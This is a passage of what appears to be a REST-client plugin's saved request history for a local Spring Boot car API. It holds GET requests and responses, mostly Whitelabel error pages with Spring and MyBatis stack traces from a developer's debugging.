http://localhost:8080/car?size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort\\u003dasc\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:33:10 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 1\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 1 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;sort\\u0026#39;: rejected value [asc]; codes [typeMismatch.pageRequest.sort,typeMismatch.sort,typeMismatch.org.springframework.data.domain.Sort,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.sort,sort]; arguments []; default message [sort]]; default message [Failed to convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;; nested exception is java.lang.IllegalStateException: Cannot convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;: no matching editors or conversion strategy found]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":33.0,\"second\":10.0,\"nano\":9.304808E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1,\"key\":\"sort\",\"type\":\"Text\",\"value\":\"desc\"},{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort\\u003ddesc\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:33:16 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 1\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 1 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;sort\\u0026#39;: rejected value [desc]; codes [typeMismatch.pageRequest.sort,typeMismatch.sort,typeMismatch.org.springframework.data.domain.Sort,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.sort,sort]; arguments []; default message [sort]]; default message [Failed to convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;; nested exception is java.lang.IllegalStateException: Cannot convert value of type \\u0026#39;java.lang.String\\u0026#39; to required type \\u0026#39;org.springframework.data.domain.Sort\\u0026#39;: no matching editors or conversion strategy found]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":24},\"time\":{\"hour\":16,\"minute\":33,\"second\":16,\"nano\":708698800}}}],\"/car/{id}\":[{\"url\":\"http://localhost:8080/car/1\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"description\":\"主键\",\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car/1\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:16:31 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003cdiv\\u003e\\r\\n### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\r\\n### The error may exist in file [D:\\\\workspace\\\\etl-cloud\\\\etl-heihei\\\\target\\\\classes\\\\mapper\\\\CarDao.xml]\\r\\n### The error may involve defaultParameterMap\\r\\n### The error occurred while setting parameters\\r\\n### SQL: select idcar_id from car where id \\u003d ?\\r\\n### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\n; bad SQL grammar []; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.jdbc.BadSqlGrammarException: \\r\\n### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\r\\n### The error may exist in file [D:\\\\workspace\\\\etl-cloud\\\\etl-heihei\\\\target\\\\classes\\\\mapper\\\\CarDao.xml]\\r\\n### The error may involve defaultParameterMap\\r\\n### The error occurred while setting parameters\\r\\n### SQL: select idcar_id from car where id \\u003d ?\\r\\n### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\n; bad SQL grammar []; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\r\\n\\tat org.springframework.jdbc.support.SQLErrorCodeSQLExceptionTranslator.doTranslate(SQLErrorCodeSQLExceptionTranslator.java:239)\\r\\n\\tat org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbackSQLExceptionTranslator.java:70)\\r\\n\\tat org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.java:74)\\r\\n\\tat org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:440)\\r\\n\\tat com.sun.proxy.$Proxy88.selectOne(Unknown Source)\\r\\n\\tat org.mybatis.spring.SqlSessionTemplate.selectOne(SqlSessionTemplate.java:159)\\r\\n\\tat org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:87)\\r\\n\\tat org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:57)\\r\\n\\tat com.sun.proxy.$Proxy89.queryById(Unknown Source)\\r\\n\\tat com.service.impl.CarServiceImpl.queryById(CarServiceImpl.java:32)\\r\\n\\tat com.controller.CarController.queryById(CarController.java:47)\\r\\n\\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\\r\\n\\tat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\\r\\n\\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\\r\\n\\tat java.lang.reflect.Method.invoke(Method.java:498)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\nCaused by: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column \\u0026#39;idcar_id\\u0026#39; in \\u0026#39;field list\\u0026#39;\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)\\r\\n\\tat sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)\\r\\n\\tat java.lang.reflect.Constructor.newInstance(Constructor.java:423)\\r\\n\\tat com.mysql.jdbc.Util.handleNewInstance(Util.java:425)\\r\\n\\tat com.mysql.jdbc.Util.getInstance(Util.java:408)\\r\\n\\tat com.mysql.jdbc.SQLError.createSQLException(SQLError.java:944)\\r\\n\\tat com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3978)\\r\\n\\tat com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3914)\\r\\n\\tat com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2530)\\r\\n\\tat com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2683)\\r\\n\\tat com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2495)\\r\\n\\tat com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:1903)\\r\\n\\tat com.mysql.jdbc.PreparedStatement.execute(PreparedStatement.java:1242)\\r\\n\\tat com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:497)\\r\\n\\tat org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:64)\\r\\n\\tat org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:79)\\r\\n\\tat org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:63)\\r\\n\\tat org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:324)\\r\\n\\tat org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:156)\\r\\n\\tat org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:109)\\r\\n\\tat org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:83)\\r\\n\\tat org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147)\\r\\n\\tat org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:140)\\r\\n\\tat org.apache.ibatis.session.defaults.DefaultSqlSession.selectOne(DefaultSqlSession.java:76)\\r\\n\\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\\r\\n\\tat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\\r\\n\\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\\r\\n\\tat java.lang.reflect.Method.invoke(Method.java:498)\\r\\n\\tat org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:426)\\r\\n\\t... 57 more\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":16.0,\"second\":31.0,\"nano\":4.456232E8}}},{\"url\":\"http://localhost:8080/car/1\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"description\":\"主键\",\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"id\\\": 1,\\n \\\"carId\\\": null\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":18.0,\"second\":42.0,\"nano\":6.308908E8}}}]}", - "RequestMappingsPanelOrder0": "0", - "RequestMappingsPanelOrder1": "1", - 